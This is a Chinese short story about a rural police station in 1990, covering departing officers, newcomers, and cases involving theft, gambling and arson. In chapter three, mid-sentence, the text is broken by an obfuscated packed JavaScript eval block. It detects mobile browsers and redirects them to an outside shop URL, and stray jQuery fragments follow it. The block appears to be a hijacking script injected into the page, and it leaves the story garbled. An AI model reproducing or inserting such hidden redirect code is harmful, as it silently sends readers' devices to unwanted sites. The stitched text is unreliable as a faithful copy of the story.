【文章摘要】：文章讲述了昝岗乡派出所的警察们在老槐树下传承和坚守的故事。段旭和王指导员因工作调动离开，但他们留下的经验和精神，如细致的记录、耐心的态度和对百姓的关怀，深深影响了新来的警察们。新所长曲令观、宋指导员和牛明良等新同事的到来，为派出所带来了新的活力和希望。他们通过各自的努力，如曲所长对案件的直觉判断、宋指导员的调解技巧和牛明良对户籍信息的认真负责，共同守护着昝岗乡的安宁与祥和。文章通过一系列案件和日常工作的描写，展现了警察们对这片土地和百姓的深厚感情，以及他们之间深厚的情谊和传承精神。


    一、离别的酒


    1990年的春风刚吹绿昝岗乡的田埂，派出所院子里的老槐树就抖落了一地新叶。段旭的办公桌前堆着半尺高的户籍档案，阳光斜斜地落在档案袋上，把"昝岗乡"三个字晒得发烫。他正用牛皮绳把档案捆成捆，指腹蹭过纸页边缘的毛边，动作慢得像在数着日子。


    "真要走啊？"我捏着个搪瓷缸子，里面的茶水早就凉透了。这话问得多余——政办室的调令就压在他的镇纸下，红章刺眼得像块烙铁。


    段旭抬头笑了笑，眼角的细纹里盛着光："老伙计，又不是生离死别。政办室要整理全县的治安档案，说我归档记得细，硬把我薅过去。"他拿起最上面那本笔记本，封面都磨出了毛边，"你看，这是前年处理的王家村宅基地纠纷，当时你还说我记太细，现在派上用场了吧？"


    我凑过去翻了两页，字迹工整得像打印的，连当事人说的"他占了我半垄地，苗都压死了"都原原本本记着。喉结动了动，没说出话来。刘长坡抱着个纸箱闯进来，里面是段旭的搪瓷缸、暖水瓶，还有窗台上那盆快蔫了的仙人掌——那是他去年从路边挖回来的，说"看着精神"。


    "装啥装，"刘长坡把纸箱往桌上一墩，响声震得档案袋都跳了跳，"到了政办室，可别学那些笔杆子耍官腔，忘了咱昝岗的兄弟。"他说着，手却在纸箱底摸了摸，掏出个新搪瓷缸，上面印着"先进工作者"，"我托人弄的，比你那掉漆的强。"


    段旭接过缸子，指尖在"先进"两个字上摩挲着，突然笑出声："你这老小子，上次评先进跟我抢得脸红脖子粗，现在倒大方了。"


    "那是公事公办！"刘长坡梗着脖子，耳根却红了，"到了新地方，少抽烟，你那咳嗽还没好。"


    李振猛抱着卷铺盖进来时，正撞见这幕，把铺盖往肩上一甩："哭啥丧！段哥去政办室是高升，该喝顿酒！"他往桌上一拍个布包，里面露出卤鸡爪、酱牛肉，"我让媳妇卤的，就等今天了。"


    夕阳把派出所的影子拉得老长，我们四个蹲在院子里的老槐树下，就着段旭的旧搪瓷缸子喝二锅头。酒辣得喉咙发疼，段旭却喝得猛，说："以后昝岗的治安，就靠你们了。王家庄的张老汉爱跟邻居吵宅基地，记得多去劝劝；李村的集市每逢初单人多，扒手爱扎堆......"


    "知道知道，"刘长坡抢过酒瓶，"你说八遍了。倒是你，政办室的茶不比咱这井水，别总用袖子擦桌子，让人笑话。"


    段旭笑得呛了酒，咳得直捶胸口，眼里却亮闪闪的。那天的晚霞红得像火烧，把每个人的脸都染成了关公，连那盆仙人掌都好像挺了挺腰杆。


    段旭走后没半月，所里的王指导员也接到了调令，要回公安局预审科。他收拾东西那天，把攒了三年的《预审案例汇编》留给了我，扉页上写着"遇事多琢磨，别慌"。钢笔字力透纸背，我摸着那行字，突然觉得肩上沉了不少。


    王指导员走的那天，派出所的院子里静悄悄的，只有那棵老槐树在风里沙沙作响。我站在他办公室门口，看他把最后几本卷宗码进纸箱，阳光从窗户斜照进来，在他灰白的鬓角上镀了层金边。他抬头看见我，笑了笑，从抽屉里摸出个铁皮盒，里面整整齐齐码着半盒红塔山。


    "抽根？"他递过来一支，自己点上，深吸一口，烟雾在指间缭绕，"我年轻那会儿，也像你似的，总觉得案子破得不够快，后来才明白，慢工出细活。" 他顿了顿，指了指桌上的汇编，"预审这玩意儿，得耐得住性子，别急着下结论。"


    我点点头，喉咙有点发紧。王指导员拍拍我肩膀，力道不重，却沉甸甸的。"昝岗这地方，案子不大，但事儿杂。"他走到门口，又回头，"遇到拿不准的，多问问老刘，他经验足。"


    我送他到派出所门口，他上了那辆老旧的吉普车，摇下车窗，冲我摆摆手："回吧，别送了。"车子启动时，他忽然又喊了句："那盆仙人掌，记得浇水！"


    我站在原地，看着吉普车拐过巷口，消失在尘土里。回屋时，发现王指导员的办公桌上，还留着半杯没喝完的茶，茶叶在杯底沉浮，像极了那些没说尽的话。


    那天晚上，我翻开那本《预审案例汇编》，扉页上的字被灯光照得发亮。窗外的风轻轻吹着，老槐树的影子在墙上晃啊晃，像是在诉说着什么。我摸了摸肩上的警徽，突然觉得，这身制服，比想象中更重了些。


    接下来的日子，所里的气氛总带着点空落落的。刘长坡照旧每天早上第一个到所里，却会习惯性地往段旭的办公桌瞟一眼，然后才想起人已经走了，嘴角的笑就淡了下去。李振猛媳妇送来的卤味，也没人再跟段旭抢着吃，每次都剩下大半，最后只能分给村里的孩子。


    我把王指导员留下的《预审案例汇编》放在段旭的旧办公桌上，旁边摆着那盆仙人掌。每天早上浇完水，就翻开几页看看，好像这样，他们就还没走。有天翻到王指导员写的眉批："李村盗窃案，嫌疑人眼神闪烁，却坚持说自己在外地，需查车票存根。"突然想起当时王指导员就是凭着这一点，顺藤摸瓜抓到了真凶，心里豁然开朗。


    这天下午，李村的张大妈来报案，说家里的鸡丢了两只。这在平时不算大事，可张大妈抹着眼泪说："那是我准备给坐月子的儿媳妇补身体的，攒了好久才舍得喂这么肥。"我正准备记录，刘长坡突然说："等等，张大妈，你家鸡窝是不是在院西头？"


    张大妈愣了愣："是啊，你咋知道？"


    "前阵子巡逻，看见你家鸡窝的栅栏松了。"刘长坡拿起帽子，"走，去瞧瞧。"


    到了张大妈家，刘长坡蹲在鸡窝旁，摸了摸栅栏上的木栓："这是被人从外面拨开的，手法不熟练，像是半大的孩子干的。"他又往院墙外走了走，指着地上的脚印，"你看这鞋印，是解放牌胶鞋，跟村东头二柱子家小子穿的那双一样。"


    果然，没多会儿，就在二柱子家找到了那两只鸡，孩子正躲在柴房里偷偷拔鸡毛，被我们抓了个正着。张大妈气得要打孩子，刘长坡拦住了："大妈，孩子不懂事，让他爹娘好好说说就行。"转头又对那孩子说，"想吃鸡肉跟家里说，偷东西可不行，将来长大了要犯大错的。"


    孩子低着头，眼泪吧嗒吧嗒掉："我娘病了，我想给她补补......"


    刘长坡叹了口气，从兜里掏出五块钱递给张大妈："这钱您拿着，就当是我买的，让孩子娘也补补。"张大妈不肯收，推来推去，最后刘长坡把钱塞给二柱子媳妇，才算是了了这桩事。


    回去的路上，我对刘长坡说："刘哥，你这本事，跟王指导员有的一拼。"


    刘长坡笑了笑："都是段旭教的，他以前总说，村里的案子，多半跟人情世故有关，得往深了琢磨。"


    夕阳把我们的影子拉得很长，我突然觉得，段旭和王指导员虽然走了，但他们留下的东西，像老槐树的根，早就扎在了昝岗的土里。


    二、新来的"鹰"


    初夏的蝉刚叫第一声，新的人事变动就像一阵急雨，噼里啪啦砸进了派出所。先是所长要和古城派出所的所长对调，交接那天，两个所长站在院子里握手，老所长把一沓厚厚的民情笔记塞给新所长，手指点着本子里的红圈："这几户是重点帮扶的，那家的小子刚放出来，你多留意......"


    新所长叫曲令观，个子不高，背却挺得笔直，握着老所长的手说："您放心，昝岗的底子厚，我一定守好。"他说话时眼睛瞪得溜圆，像只警惕的鹰，可嘴角的笑却挺暖。我注意到他的警服袖口磨出了毛边，却洗得发白，比新的还精神。


    没过三天，上屯派出所的宋德全指导员就到了。他拎着个帆布包，进门就给我们发糖，说是搬家喜糖。糖纸是透明的，能看见里面的芝麻粒，甜得人心头发痒。"以后咱就是一家人了，"他拍着我的肩膀，手劲不小，"我在预审科待过五年，跟你们多学学基层的活。"


    他说话时总带着笑，眼角的皱纹挤成了褶子，可听李振猛说，他审案子时，三句话就能让嫌疑人冒冷汗。我咋看都觉得不像，直到有次跟着他去调解婆媳吵架，那媳妇正撒泼打滚，宋指导蹲在她旁边，慢悠悠地说："你婆婆昨天去给你买降压药，在药店排了半小时队，回来脚都肿了。"那媳妇立马就停了哭，愣着愣着，眼圈就红了。


    "基层的事，靠的不是嗓门大。"宋指导拍着我的后脑勺说，手里还攥着刚从地里摘的黄瓜，是路过菜园顺手摘的。


    最热闹的是牛明良来的那天。他背着个军绿色的挎包，进门就差点被门槛绊倒，手里的户籍专用章"哐当"掉在地上，滚到了我脚边。我捡起来递给他，他脸腾地红了，手忙脚乱地往兜里塞，却把一沓户籍表格撒了一地。


    "对、对不起！"他结巴着蹲下去捡，额头上的汗珠子啪嗒啪嗒砸在表格上，洇出了小水点。


    刘长坡笑得直不起腰，宋指导却瞪了他一眼，蹲下去帮着捡："没事，新来都这样。我刚来那会儿，把笔录本当成了烧火纸，差点点了......"


    牛明良的脸更红了，却抬头飞快地看了宋指导一眼，眼里的慌张少了点。等把表格捡齐了，他从挎包里掏出个笔记本，恭恭敬敬递过来："这是我在上屯整理的户籍办理流程，您看看，昝岗要是不一样，我马上改。"


    笔记本的封皮都磨白了，里面的字却写得像打印的，连注意事项都用红笔标了星号。我翻到最后一页，看见上面写着"耐心点，再耐心点"，突然想起了段旭的笔记本。


    那天傍晚，宋指导让食堂加了两个菜，说是欢迎新同事。牛明良捧着碗，小口小口地扒饭，耳朵却竖着听我们说昝岗的事。当说到李村的集市时，他突然抬头，眼睛亮得像星星："我在资料上看到过，说那里的扒手有个团伙，专偷老人的钱袋？"


    刘长坡一下子不笑了，正经起来："你小子功课做得挺足啊。"


    牛明良挠挠头，不好意思地笑了："我想把昝岗的户籍信息全录入电脑，以后查起来快。"


    窗外的蝉还在叫，宋指导举起搪瓷缸子："为了昝岗，干杯！"我们四个的缸子碰到一起，发出叮叮当当的响，惊飞了槐树上的麻雀。我看着牛明良被酒呛得直眨眼，突然觉得，这派出所的院子，好像又热闹起来了。


    新来的这几位，就像给派出所这潭静水扔了块石头，涟漪一圈圈地荡开了。曲所长每天早早就到了，背着手在院子里转，瞅见哪块玻璃脏了，挽起袖子就擦，擦得比值日的民警还仔细。他查岗也查得勤，有时候大半夜突然敲门，把睡眼惺忪的我们吓得一激灵，可看他笑眯眯的样子，又都不好意思发火。


    有天凌晨三点，曲所长敲开我的门，说："去李村看看，刚才接到举报，有人在集市附近偷东西。"我迷迷糊糊地穿上警服，跟着他往李村走。月光下，曲所长的脚步轻快得很，一点不像快五十的人。到了集市，果然看见两个黑影在摊位旁鬼鬼祟祟，曲所长使了个眼色，我们俩包抄过去，没费多大劲就把人按住了。


    押着嫌疑人回所里的路上，我打着哈欠说："所长，您咋知道他们真在这儿？"


    曲所长笑了笑："直觉。不过也是段旭那本民情笔记上写的，说李村集市凌晨最容易出事，那些扒手摸准了摊贩起早贪黑，警惕性低。"


    我心里一暖，原来他也一直在看段旭的笔记。


    宋指导呢，整天乐呵呵的，不是帮着食堂大妈择菜，就是蹲在门口和来办事的老大爷下棋。他下棋还爱耍赖，明明吃了对方的子，非要说是对方看错了，把老大爷逗得直乐。可一到调解纠纷的时候，他就像变了个人，三言两语就能把双方的火气给压下去，比那灭火器还管用。


    前几天，王家庄的两户人家因为排水的事吵得不可开交，差点动了手。宋指导去了，没说谁对谁错，先给两家各递了杯热茶，然后说："你们两家住对门，低头不见抬头见的，为这点事伤了和气，值当吗？再说，这水排不出去，淹了谁家的地都不好。我看这样，咱找个瓦匠，在两家中间修条排水沟，钱嘛，所里出点，你们两家再凑点，咋样？"


    两家人听了，都觉得有理，刚才还剑拔弩张的，转眼就和和气气地商量起修排水沟的事了。宋指导回来跟我们说："你看，老百姓的事，大多不是啥深仇大恨，就缺个台阶下。"


    牛明良是最腼腆的一个，整天抱着那本户籍办理流程，不是对着电脑敲字，就是在纸上写写画画。他录入信息的时候特别认真，一个字一个字地核对，生怕出了一点错。有时候我们逗他，说错几个字也没关系，他就会急得满脸通红，说："这可不行，户籍信息是最重要的，不能马虎。"


    有次，他给一个刚出生的孩子上户口，家长说孩子叫"李想"，他愣是翻了半天字典，确认"想"字没错，才敢录入系统。刘长坡笑话他："你这是给自己找罪受。"牛明良却一本正经地说："这是孩子一辈子的事，可不能出错。"


    自从他们来了之后，派出所里多了不少欢声笑语。以前下了班，大家都各回各家，现在却常常聚在一起，聊聊天，开开玩笑。曲所长有时候也会加入我们，讲他在别的派出所遇到的趣事，把我们笑得前仰后合。


    有一次，李村有个老人走丢了，家里人急得团团转。曲所长二话不说，带着我们就开始找。宋指导负责联系周边的村庄，看看有没有人见过老人；牛明良则留在派出所，通过户籍信息查找老人可能去的地方。我们找了一整天，终于在傍晚的时候，在村头的麦垛里找到了老人。原来老人出来遛弯，迷了路，又累又饿，就躲在了麦垛里。把老人送回家的时候，他家里人拉着我们的手，一个劲儿地道谢，还说："有你们在，我们心里就踏实。"


    那一刻，我突然觉得，我们这群人，就像那槐树下的接力者，一代又一代地守着这片土地，守着这些百姓。新来的"鹰"，带着新的活力和希望，和我们一起，在这平凡的岗位上，书写着不平凡的故事。


    三、烟火里的较量


    新团队的磨合像炖一锅老汤，得慢慢熬。宋指导总说："案子是最好的柴火，咕嘟咕嘟煮上几遭，啥生分都熬熟了。"这话应验在七月那场抓赌行动上时，连最跳脱的李振猛都收起了玩笑。


    报警电话是半夜打来的，王家庄的老支书在那头气得直哆嗦："后沟那间废瓦房，聚了一屋子人推牌九！吵得我家孙子直哭，你们快来！"我捏着听筒，能听见背景里传来的骰子碰撞声，尖锐得像针扎。


    "抄家伙！"曲所长抓起帽子就往外走，他的军绿色警帽总带着股皂角味，是新换的，比老所长那顶挺括不少。刘长坡往腰里别手铐时，金属碰撞声在寂静的院子里格外响："这群兔崽子，上次警告过还敢来！"


    牛明良正抱着户籍册核对信息，听见动静腾地站起来，手忙脚乱地往枪套里塞配枪——其实只是支空膛的训练枪，他却攥得发白："所长，我也去！"


    曲所长瞥了他一眼："你留所里值班，记好笔录模板，等我们把人带回来。"车发动时，我看见牛明良站在门岗上，路灯把他的影子拉得老长，像株没扎根的玉米。


    废瓦房藏在玉米地深处，月光透过破窗棂，在地上投下蛛网似的影子。刘长坡一脚踹开门时，木屑飞溅中，我看见十几张惊惶的脸在烟雾里浮动，牌九散落一地，像群受惊的麻雀。


    "警察！都蹲下！"李振猛的大嗓门震得房梁掉灰。有个穿花衬衫的瘦子猛地掀翻桌子，借着混乱往窗台爬，我扑过去拽他的裤脚，却被他带得踉跄了几步。


    "看我的！"李振猛像头豹子扑过去，胳膊肘顶住瘦子的后颈，"咔嚓"一声就反剪了他的手。瘦子疼得嗷嗷叫，挣扎间碰倒了墙角的煤油灯，灯芯在地上滚了几圈，差点点燃堆着的麦秸。


    "快踩灭！"曲所长一脚踩住灯芯，火星在他的皮鞋底滋滋作响。他转身时，我看见他的白衬衫后背全湿透了，贴在身上像幅皱巴巴的地图。


    把人押回所里时，天已经蒙蒙亮。牛明良端着一脸盆凉水守在院子里，看见我们就往每人手里塞块毛巾："宋指导让烧的热水，在灶上温着呢。"他给瘦子解手铐时，手抖得差点把钥匙掉进泥里，被刘长坡瞪了一眼："稳住！罪犯也是人，别跟抓小鸡似的。"


    审讯室的白炽灯亮了整整一天。那些赌徒像揣了定心丸，要么梗着脖子说"就玩了两块钱"，要么耷拉着头装聋作哑。刘长坡拍着桌子吼得嗓子冒烟，李振猛急得在屋里转圈，我看着笔录本上寥寥几笔，心里像塞了团乱麻。


    "让开。"曲所长突然推门进来，他刚在所里转了一圈，裤脚沾着草屑。他往赌徒面前一坐，没拍桌子，也没瞪眼，就那么看着对方的眼睛，慢悠悠地说："王老三，你儿子在县一中读高二，上次你媳妇来开户籍证明，说想考警校。"


    那个叫王老三的赌徒猛地抬头，眼里的慌乱藏不住了。


    "李老四，你老娘的低保这个月该复核了，少了你的签字可办不了。"曲所长又看向另一个缩着脖子的男人，"你们聚在这儿推牌九时，村西头的张寡妇正抱着发高烧的孙子往卫生院跑，黑灯瞎火的，摔了两跤。"


    屋里静得能听见苍蝇飞过的声音。有个年轻赌徒的喉结动了动，像是想说什么，却被旁边的人瞪了回去。


    曲所长站起身，往墙角的暖水瓶里续了点水："你们挣的是庄稼钱，一滴汗摔八瓣换来的。组织者抽成三成，你们输的钱，够买半亩地的化肥了。"他把杯子往桌上一放，"坦白从宽，不仅能少判，家属还能来所里领你们秋收前种的那几分地的菜苗——宋指导让人帮你们浇着呢。"


    这话像把钥匙，王老三突然"扑通"跪在地上："我说！是邻村的赵老五组织的！他说这瓦房偏僻，警察找不到......"


    窗外的蝉鸣突然响了起来，聒噪得很，却让人心里敞亮。牛明良趴在门框上记笔录，钢笔在纸上沙沙作响，鼻尖上沾着块墨渍，像只刚偷过油的小老鼠。


    案子结了那天，宋指导让食堂杀了只老母鸡，炖了满满一锅汤。牛明良捧着碗，喝得鼻尖冒汗："曲所长，您咋知道王老三儿子想考警校？"


    "上次他媳妇来□□明，哭着说家里穷，怕供不起。"曲所长往他碗里舀了块鸡脯，"干咱们这行，眼里得有案子，心里得有人。"刘长坡嚼着鸡腿，含糊不清地接话："就是，别学某些人，把警帽落食堂，让炊事员张婶追了半条街。"


    牛明良的脸"腾"地红了，筷子差点掉地上。我想起早上帮他找帽子时，看见他的笔记本上写着"今日任务：给张婶修缝纫机"，字迹歪歪扭扭，却透着股认真劲儿。


    这场抓赌行动像块试金石，把新团队的棱角磨得发亮。牛明良开始跟着刘长坡学做询问笔录，虽然总把"籍贯"写成"寄贯"，却能把每个嫌疑人的家庭情况记得比户籍册还清楚。有次问一个偷玉米的老汉，他张口就说："大爷，您家二小子在广东打工，去年寄回来的钱够买台拖拉机了吧？"老汉愣了半天，红着脸把偷玉米的事全招了。


    李振猛不再见了蟑螂就跳脚，反而能一边拍死蚊子一边给报案人倒水，粗中有细的劲儿让宋指导直夸"孺子可教"。有回处理邻里纠纷，两家人正吵得凶，他突然说："别吵了！李大爷，您孙子昨天还跟我说，想让张大爷教他编竹筐呢！"两家人一听，都愣住了，没一会儿就消了气。


    曲所长依旧每天最早到所里，他的保温杯里总泡着枸杞，茶水颜色浓得像墨。有天我见他蹲在院子里，正用指甲抠警车轮胎缝里的泥块，阳光把他的影子拉得老长，覆盖了半面斑驳的荣誉墙。


    "小周，"他突然抬头，"明天跟我去趟王家庄。"我愣了下，想起那间废瓦房，墙角的煤油灯印还在，像块洗不掉的疤。曲所长拍了拍我的肩："给张寡妇家送点米面，她孙子烧了三天，昨儿刚出院。"


    牛明良听见动静，从户籍室探出头："所长，我申请一起去！"他腰板挺得笔直，警服扣子系到了最上面一颗，阳光照在肩章上，泛着微微的光。曲所长笑了笑，没说话，却把装米的袋子往他手里塞了塞。


    警车驶过玉米地时，露水还没干透。张寡妇家的大门敞着，院子里晾着几件小孩的衣裳，在风里轻轻摇晃。曲所长把


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967682|192731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    米面放在桌上，又从兜里掏出包水果糖："给孩子买的，甜甜嘴。"张寡妇抹着眼泪，非要塞给我们几个刚煮的鸡蛋，蛋壳上还带着灶火的温度。


    回程时，牛明良一直摸着兜里的糖，像揣着个宝贝。李振猛从后座探过头："牛子，啥时候请客啊？"牛明良红了脸，却把糖分给了大家，连最不爱吃甜的刘长坡都剥了一颗，含在嘴里直咂摸："嗯，真甜。"


    夕阳把警车的影子拉得很长，像条金色的路。曲所长哼起了小调，是那首《少年壮志不言愁》，调子跑得没边，却让每个人的心里都暖烘烘的。牛明良跟着哼，声音越来越亮，惊飞了路边树上的几只麻雀。


    四、燃烧的柴垛


    日子像昝岗乡的河水，慢慢淌着，偶尔也会撞上几块礁石。九月刚收完玉米，纵火案就像块黑石头，"咚"地砸进了平静的水面。


    第一把火是在李村烧起来的，张老汉堆在院墙外的柴垛一夜之间成了黑炭，火星子窜到房檐，燎焦了半片瓦。我们赶到时，张老汉蹲在灰烬旁，手里攥着根没烧完的玉米秆，手抖得像秋风里的落叶："警察同志，这是要毁了我的活路啊......"


    他的柴火是准备过冬的，攒了大半年，有玉米秆、棉花柴，还有几捆硬实的槐树枝。我蹲下身摸了摸灰烬，里面还透着点温度，边缘有明显的助燃剂痕迹。"大爷，最近跟谁红过脸？"曲所长递给他支烟，自己也点了一根。


    张老汉猛吸了两口，烟锅都快烫到手："能跟谁吵？就前阵子跟村西头的刘癞子争过地界，他说我家柴垛占了他半尺地......"


    没过三天，王家庄的柴垛也着了。这次烧得更凶，连猪圈的顶棚都被引燃，三头小猪仔活活烧死在里面。王寡妇坐在地上哭，声音嘶哑得像破锣："我招谁惹谁了？男人走得早，就指望这猪崽过年给娃交学费......"


    她的邻居偷偷告诉我，前几天刘癞子来借盐，看见王寡妇家新收的玉米堆在院里，还问"卖不卖"，被王寡妇骂了句"二流子"。


    谣言像野草疯长。有人说看见白胡子老头在月下点火，有人说这是报应，更有甚者，半夜举着桃木剑在村口转悠，吓得孩子直哭。曲所长在会上把搪瓷缸往桌上一墩："邪不压正！三天之内，必须破案！"


    分工时，牛明良攥着户籍册的手直冒汗："我、我查近五年有纵火前科的，还有近期从外地回来的可疑人员。"他的笔记本上已经画了张表格，把各村的柴垛位置标得清清楚楚，像幅作战地图。


    我和刘长坡泡在村里，脚底板磨出了水泡。有天在李村走访，张老汉的邻居偷偷拉着我说："前阵子，看见邻村的刘癞子在柴垛附近转悠，他前几年因为烧别人的麦秸垛坐过牢。"


    "刘癞子？"刘长坡摸出本子记下来，"这人我有印象，出狱时还是我送他回的家。"


    牛明良在户籍系统里翻出刘癞子的档案时，手指都在打颤："他、他上个月刚从县城回来，租住的地方离两个着火点都不到三里地！"档案照片上的男人眼窝深陷，嘴角撇着股狠劲，像只没吃饱的狼。


    曲所长盯着照片看了半晌，突然拍板："布控！今晚他肯定还会动手——秋收刚过，家家都堆着新柴。"


    夜风带着玉米秸秆的甜味，我们蹲在麦秸垛后面，蚊子在耳边嗡嗡叫。刘长坡往我手里塞了块饼："我媳妇烙的，夹了辣椒，提提神。"饼还带着余温，辣得人额头冒汗。


    凌晨两点，一个黑影果然鬼鬼祟祟地出现在王家庄的柴垛旁，手里攥着个玻璃瓶，借着月光能看见里面晃悠的液体——是煤油。


    "上！"曲所长低喝一声，我们像离弦的箭冲出去。刘长坡一把抱住那人的腰，我扑过去夺煤油瓶，玻璃瓶摔在地上，煤油溅了我一裤腿，呛得人头晕。


    "是刘癞子！"李振猛反剪他的手时，我看见他手腕上有块月牙形的疤，和档案里写的一模一样。


    审讯室里，刘癞子一开始还嘴硬，说自己只是出来"遛弯"。曲所长把一沓照片推到他面前——那是牛明良连夜调出来的监控截图，虽然模糊，却能看清他两次在着火点附近徘徊的身影。"你老娘昨天来所里了，"曲所长的声音很平，"她拄着拐杖走了八里地，说你要是再犯事，她就一头撞死在派出所门口。"


    刘癞子的肩膀突然垮了，像被抽走了骨头。他捂着脸，哭声像头受伤的野兽："我就是想不通！凭啥他们都能盖新房，我出狱了连口饱饭都吃不上......"


    原来刘癞子出狱后想找份正经活，可人家一听他有前科就摇头。张老汉的柴垛占了他地界，王寡妇又当众骂他，积怨像柴火堆越堆越高，终于在某个晚上燃成了熊熊大火。


    案子破了那天，村民们扛着锦旗涌进派出所，红绸子在院子里飘得像片火烧云。张老汉非要给曲所长磕头，被拦住了，就颤巍巍地往每个人手里塞煮鸡蛋："热乎的，刚从灶膛里扒出来的。"


    牛明良捧着锦旗，脸笑得像朵向日葵，鼻尖上又沾了墨渍——这次是写感谢信时蹭的。宋指导拍着他的背："小子，户籍册没白翻吧？"


    那天晚上，所里的灯亮到很晚。牛明良在户籍室整理档案，嘴里哼着歌；李振猛在院子里给警车打蜡，哼哧哼哧的；刘长坡和曲所长坐在槐树下抽烟，聊着案子的细节。我看着他们的身影，突然觉得，这派出所的院子，比以前更像个家了。


    五、槐树下的接力


    深秋的阳光透过老槐树的叶子，在地上洒下斑驳的光影。我看着院子里忙碌的身影——曲所长在给新配的三轮摩托换机油，油渍蹭在他的军绿色裤子上，像幅抽象画；刘长坡教牛明良打靶，枪托撞得牛明良肩膀直颤，却咬着牙不肯躲；李振猛蹲在地上给大家分苹果，是村民刚摘的红富士，他把最大的那个塞给了炊事员张婶。


    妻子傍晚来送棉衣时，悄悄往我兜里塞了块水果糖，橘子味的。"牛明良的媳妇托我给他捎双棉鞋，"她笑着说，"说他总忘穿袜子，脚冻得像萝卜。"


    糖在嘴里慢慢化开，甜丝丝的。我望着远处的田野，新翻的土地黑油油的，等着下一场雪。曲所长说："守着这片地，就得让它长出好日子。"这话像颗种子，落在每个人心里，发了芽，生了根。


    年底评先进时，我们把名额给了牛明良。他站在领奖台上，脸涨得通红，手里的奖状被捏得皱巴巴的："我、我刚来的时候总犯错，是大家......"话没说完就被掌声打断，刘长坡在台下喊："别说了！晚上请喝酒！"


    那天的庆功宴摆在派出所的院子里，老槐树上挂满了红灯笼，是宋指导从家里带来的。曲所长喝了不少酒，说起他刚当警察时的事："那时候我在山区派出所，骑着二八大杠走村串户，有次下大雨，连人带车摔进沟里，是老乡用门板把我抬回去的......"


    牛明良听得眼睛发直，突然站起来敬了个不太标准的礼："所长，我想把昝岗的治安数据全输进电脑，建个档案库。"


    "好小子，有想法！"曲所长拍着他的肩膀，"需要啥设备，我去局里申请。"


    转过年来，段旭从县城回了趟昝岗。他穿着件灰色夹克，头发稀了些，却还是那副认真模样，手里拎着个大纸箱，里面是他整理好的治安档案汇编。"给你们带点东西，"他笑着说，"政办室的资料，说不定用得上。"


    我们又蹲在老槐树下喝酒，像三年前那样。段旭看着院子里的新面孔，眼里满是欣慰："曲所长把昝岗带得真好，比我在的时候强多了。"


    "您打下的底子好，"曲所长给段旭倒上酒，"那本民情笔记，我翻得都快散架了。"


    刘长坡抢过话头："段哥，您是没看见牛明良那小子，现在查户籍比谁都快，上次追小偷，跑得比兔子还快！"


    牛明良挠着头笑，耳朵红得像柿子。我看着他，突然想起刚认识段旭的时候，也是这样，带着点生涩，却藏不住眼里的光。


    段旭走的时候，曲所长把那盆仙人掌给他带上了。"这玩意儿在昝岗扎了根，"曲所长说，"到了县城也能活。"


    段旭抱着花盆，眼眶有点红："等我退休了，还回昝岗来，跟你们一起蹲在槐树下喝酒。"


    送他到村口时，夕阳正落在远处的麦垛上，金黄金黄的。牛明良突然说："段哥，您的笔记本我复印了一本，放在所里的档案柜里，供着。"


    段旭笑得直不起腰，眼泪却掉了下来。


    后来的日子，昝岗乡渐渐变了样。柏油路修到了村门口，集市上装了监控，牛明良建的治安档案库派上了大用场，连张老汉都学会了用老年机报警。可派出所的老槐树还在，我们依然喜欢蹲在树下喝酒，聊案子，说家常。


    有次抓捕偷牛贼，我们追了半夜，终于在玉米地里把人摁住。牛明良的胳膊被划伤了，却举着缴获的牛绳笑得一脸灿烂："看！没让他跑了！"


    回所里的路上，东方泛起了鱼肚白。曲所长骑着三轮摩托，我坐在车斗里，风里带着麦苗的清香。"你们说，这槐树能活多少年？"曲所长突然问。


    "少说也得百年吧。"刘长坡说。


    "我看能活一辈子。"牛明良接话，声音里带着点孩子气。


    我望着天边的朝霞，心里突然明白——警察换了一茬又一茬，可守护这片土地的初心没变；派出所的房子翻新了，可老槐树下的情谊没变；日子越过越红火，可那份藏在烟火里的坚守，从来都没变。


    这或许就是传承吧，像老槐树的根，深深扎在昝岗的土里，滋养着一代又一代的人。警营的岁月还长，像条走不完的乡道，有坑洼，有坦途，可只要身边这些人还在，手里的警徽还亮，就没有跨不过的坎。


    烟火里的较量也好，柴米油盐的琐碎也罢，都是这片土地上，我们必须守护的寻常。而那棵老槐树，会一直站在那里，看着我们，看着昝岗，看着所有平凡日子里，闪着光的坚守。


    我知道，槐树下的接力还在继续。一代又一代的警察，会像这老槐树一样，深深扎根在昝岗的土地上，用自己的青春和汗水，守护着这片土地的安宁与祥和，守护着老百姓的幸福与安康。


    而那棵老槐树，会一直站在那里，看着昝岗的变迁，看着警徽的传承，看着每一个平凡的日子里，那些不平凡的坚守。它见证了太多的离别与重逢，太多的欢笑与泪水，也见证了一份份沉甸甸的责任与担当，在时光的长河里，静静流淌，永不褪色。